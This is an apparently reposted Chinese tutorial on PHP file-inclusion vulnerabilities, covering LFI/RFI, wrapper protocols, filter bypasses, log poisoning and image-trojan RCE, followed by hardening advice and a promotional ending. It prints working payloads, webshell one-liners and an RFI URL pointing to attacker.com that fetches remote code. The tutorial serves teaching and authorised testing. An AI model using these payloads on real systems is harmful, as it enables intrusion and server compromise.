ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

文件包含漏洞原理与实战,绕过各种过滤姿势汇总

文件包含漏洞原理与实战,绕过各种过滤姿势汇总 文件包含漏洞原理与实战绕过各种过滤姿势汇总前言文件包含是 Web 安全经典高危漏洞PHP、JSP、ASP 这类动态语言都存在其中 PHP 出现频率最高。很多开发为了代码复用使用include、require等函数动态引入文件如果文件路径参数可控又没有做好输入校验攻击者就可以读取服务器敏感文件甚至执行恶意代码拿下服务器权限。现在 WAF 和代码审计经常会过滤../、http://等关键词简单的 payload 直接被拦截。本文从漏洞原理、LFI/RFI 区分、伪协议利用到各类过滤绕过方法、日志注入、图片马实战一次性整理。适合渗透测试、靶场练习、代码审计学习。免责声明本文所有技术仅用于授权环境安全测试、网络安全学习。严禁在未授权网站、服务器上进行漏洞测试未经授权的探测、文件读取、代码执行行为违反网络安全法律法规。0x01 文件包含漏洞基础原理1.1 漏洞产生的核心条件代码使用文件包含函数PHPinclude、include_once、require、require_once文件路径由用户前端传入参数控制缺少输入过滤、白名单校验、目录限制。漏洞源码示例经典脆弱代码?php // page参数用户可控直接带入include $page $_GET[page]; include($page); ?访问?pageindex.php正常加载页面修改参数?page/etc/passwd就会读取服务器本地用户文件。还有一种场景代码自动拼接后缀也是高频坑?php $page $_GET[page]; include($page . .php); // 自动追加.php后缀 ?这种代码会强制在传入参数末尾拼接.php直接传/etc/passwd会变成/etc/passwd.php无法正常读取需要用截断技巧绕过。1.2 两类文件包含LFI 本地包含、RFI 远程包含LFILocal File Inclusion本地文件包含只能读取服务器本地磁盘文件。不需要开启远程包含配置现在最常见。危害读取/etc/passwd、网站配置文件、数据库账号密码、日志文件。配合日志注入、图片上传可实现代码执行 RCE。RFIRemote File Inclusion远程文件包含可以包含远程服务器上的文件并执行代码。利用前置条件php.iniallow_url_fopen On allow_url_include On注意PHP5.2 之后allow_url_include默认关闭现在线上 RFI 很少见遗留老系统才会遇到。利用 payload?pagehttp://攻击者服务器/shell.txt远程文件中的 PHP 代码会被服务器解析执行。0x02 PHP 伪协议利用LFI 核心手段PHP 内置多种包装协议不需要../目录穿越直接读取源码或者执行代码WAF 如果只过滤../很容易被伪协议绕过。2.1 php://filter 读取源码最常用作用读取文件内容并且可以做 base64 编码输出解决 PHP 文件直接包含会执行而看不到源码的问题。Payload?pagephp://filter/readconvert.base64-encode/resourceindex.php服务器返回 base64 字符串解码后拿到 index.php 完整源代码读取数据库配置、源码密钥。适用场景WAF 没有拦截php://filter坑点resource 后面不能带协议头只能写本地文件路径。2.2 php://input 执行代码php://input读取 POST 原始请求体内容将 POST 数据当作 PHP 代码执行。条件allow_url_includeOnPOST 提交数据。PayloadGET ?pagephp://input POST数据?php phpinfo(); ?2.3 data:// 伪协议执行代码直接在 URL 内写入 PHP 代码实现 RCE。条件allow_url_includeOn?pagedata://text/plain,?php phpinfo();? base64编码版本 ?pagedata://text/plain;base64,PD9waHAgcGhpbmZvKCk7Pz42.4 file:// 读取本地绝对路径文件读取本地文件传入绝对路径?pagefile:///etc/passwd0x03 各类过滤绕过实战汇总很多站点会做黑名单过滤过滤../、http、php://、passwd下面分场景整理绕过姿势。场景 1过滤../跨目录符号最常见① 多层点斜替换过滤单个../可以使用....//PHP 解析时会化简为../?page....//....//etc/passwd② URL 编码绕过../URL 编码%2E%2E%2F二次编码WAF 只做一次解码%252E%252E%252F原理WAF 第一次解码检测后端 PHP 会再次解码绕过黑名单匹配。③ Windows 与 Linux 斜符混用Linux 识别/Windows 识别\如果只过滤/可以使用..\?page..\..\windows\system32\drivers\etc\hosts④ 绝对路径直接读取黑名单只拦截../允许绝对路径直接传入完整路径不需要目录穿越。?page/etc/passwd场景 2代码自动追加后缀 .php$page . “.php”目标代码include($page..php);直接传/etc/passwd会变成/etc/passwd.php读取失败。① %00 空字节截断老版本 PHPPayload?page/etc/passwd%00限制条件PHP 5.3.4magic_quotes_gpc 关闭。新版本 PHP 已经修复线上很少靶场多见。原理%00是字符串结束符后面拼接的.php被丢弃。② 路径长度截断点号截断PHP 文件路径有长度上限超长路径会自动截断末尾追加的.php。Linux 一般 4096 字节Windows259 字节。构造大量./填充让最终拼接的.php超出长度被截断。?page../../../etc/passwd/././././[大量填充./]③ RFI 利用问号截断远程包含场景远程包含时URL 的?代表查询参数PHP 会把?后面内容当成参数不会拼接到文件名。?pagehttp://attacker.com/shell.txt?最终包含地址http://attacker.com/shell.txt自动追加的.php变成 URL 参数不会参与文件名。④ # 井号截断#是锚点浏览器发送请求不会传递 #后面内容适合部分场景。场景 3过滤伪协议关键词 php://大小写绕过PHP 协议不区分大小写?pagePHP://filter/readconvert.base64-encode/resourceindex.php编码绕过对关键字 URL 编码部分环境支持协议换行、空白字符绕过老版本。场景 4过滤关键词 passwd、hosts 等敏感文件名编码绕过文件名 URL 编码通配符读取部分 Linux 环境支持 glob 协议?pageglob:///etc/passw*0x04 LFI 本地文件包含实现 RCE 的实战方法单纯 LFI 只能读文件配合文件上传、日志写入就能写入 PHP 代码实现代码执行。4.1 图片马 文件上传经典上传图片马1.jpg文件内容包含?php eval($_GET[cmd]);?图片头部添加 GIF 文件头GIF89a绕过图片校验上传拿到图片路径/upload/1.jpg使用文件包含漏洞包含这个图片?pageupload/1.jpgPHP 包含 jpg 文件会解析里面 PHP 代码触发 RCE。关键点图片后缀是 jpg直接访问不会解析 PHP只有 include 包含的时候里面代码才会被执行。4.2 日志注入攻击LFI 高频利用手段原理Web 服务器访问日志nginx/apache会记录 User-Agent、请求 URI。我们把 PHP 代码写入请求头日志文件保存这段代码再通过文件包含读取日志文件执行里面 PHP 代码。修改请求头 User-Agent 写入一句话木马?php eval($_POST[cmd]);?发送请求服务器将 UA 写入 access.log包含日志文件执行代码。Linux 常见日志路径/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log坑点日志文件权限、日志路径未知日志过大容易无法利用。4.3 会话文件包含session 注入PHP Session 文件保存在服务器/tmp/sess_xxxxsession 内容可控写入 PHP 代码再包含 session 文件触发执行。0x05 测试思路与漏洞判断流程寻找可疑参数?filexx、?pagexx、?pathxx、?templatexx、?langxx基础测试传入?pagephp://filter/readconvert.base64-encode/resourceindex.php看是否返回 base64 源码目录穿越测试?page../../etc/passwd判断是否自动追加后缀测试截断 payload尝试伪协议、图片马、日志注入判断是否能 RCE识别 WAF依次尝试编码、大小写、多层点斜等绕过。0x06 高频踩坑总结❌坑 1直接使用../被 WAF 拦截就判定不存在文件包含漏洞WAF 黑名单可以绕过伪协议、多层点斜、编码方式经常可以绕过。❌坑 2图片马上传成功直接访问图片地址以为能执行代码直接访问 jpg 不会解析 PHP必须通过 include 函数包含才执行代码。❌坑 3%00 截断到处使用%00 截断只在 PHP5.3.4 生效新版 PHP 无效不要盲目测试。❌坑 4RFI 现在很容易复现新版 PHP 默认关闭 allow_url_includeRFI 在现代线上站点极少更多是 LFI 本地包含。❌坑 5黑名单过滤就认为安全过滤../这种黑名单防护非常脆弱各种编码、变形都可以绕过文件包含防护必须使用白名单。0x07 防御加固方案开发 运维优先白名单策略最安全只允许指定的页面文件用户输入只能选择预设文件禁止直接拼接文件路径禁止用户可控参数直接传入include、require这类危险包含函数php.ini 配置加固allow_url_include Off allow_url_fopen Off open_basedir /webroot/ #限制PHP只能访问网站目录过滤危险伪协议如果业务不需要禁用php://、data://、file://上传文件独立目录限制上传目录 php 解析图片目录禁止执行 PHP输入校验过滤目录分隔符限制输入字符不要依赖黑名单日志权限最小化防止日志注入关闭详细错误提示防止泄露路径信息WAF 添加文件包含特征检测持续监控异常请求。总结文件包含漏洞核心是可控路径带入文件包含函数。RFI 远程包含现在已经很少见LFI 本地包含依然是靶场、老旧站点高频漏洞。黑名单过滤非常容易绕过../可以多层构造、URL 编码自动追加后缀场景可以用截断手段php://filter 伪协议可以不依赖目录穿越直接读取源码。文件包含的利用链条一般读取源码 → 读取配置拿数据库信息或者日志 / 图片马注入 → 包含恶意文件拿到 RCE。防御的核心原则永远不要把用户可控的输入直接拼接为文件路径白名单才是可靠方案。一句话记住黑名单挡不住文件包含白名单 open_basedir 禁用远程协议三层防护才能有效防御。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表